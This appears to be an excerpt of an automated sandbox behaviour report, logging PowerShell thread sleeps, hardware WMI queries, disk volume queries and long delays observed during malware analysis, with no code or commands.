Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -589867s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -589765s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -589655s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -589542s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -589405s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -589280s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -589170s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -589061s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -588952s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -588843s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -588733s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -588624s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -588513s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -588359s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -33204139332677172s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8044	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -592125s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -592000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -591890s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -591769s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -591655s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -591523s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -591407s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -591281s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -591170s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -591041s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -590937s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -590827s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -590718s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -590567s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -590452s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -590340s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -590234s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -590124s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -590008s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -589906s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -589796s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -589683s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -589546s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -589421s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -589311s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -589202s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -589093s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -588984s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -588874s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7840	Thread sleep time: -588764s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -591985s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -591871s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -591762s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -591641s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -591531s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -591406s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -591296s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -591188s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -591073s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -590953s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -590844s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -590731s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -590622s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -590485s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -590372s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -590250s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -590141s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -590006s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -589875s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -589766s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -589645s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -589500s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -589375s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -589264s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -589156s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -589046s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -588937s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -588828s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -588718s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -588608s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -588453s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -588321s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -588156s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -587641s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7852	Thread sleep time: -587500s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Windows\System32\loaddll64.exe	Thread delayed: delay time: 120000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591938	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591815	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591703	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591578	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591439	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591328	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591219	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591073	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590969	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590859	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590750	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590599	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590484	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590372	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590266	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590156	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590040	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589938	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589813	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589671	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589559	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589453	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589343	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589234	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589125	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589015	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588907	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592359
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592250
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592137
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592017
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591902
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591793
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591687
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591567
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591438
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591328
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591219
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591104
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590891
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590781
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590672
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590403
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590295
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590187
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590075
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589969
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589844
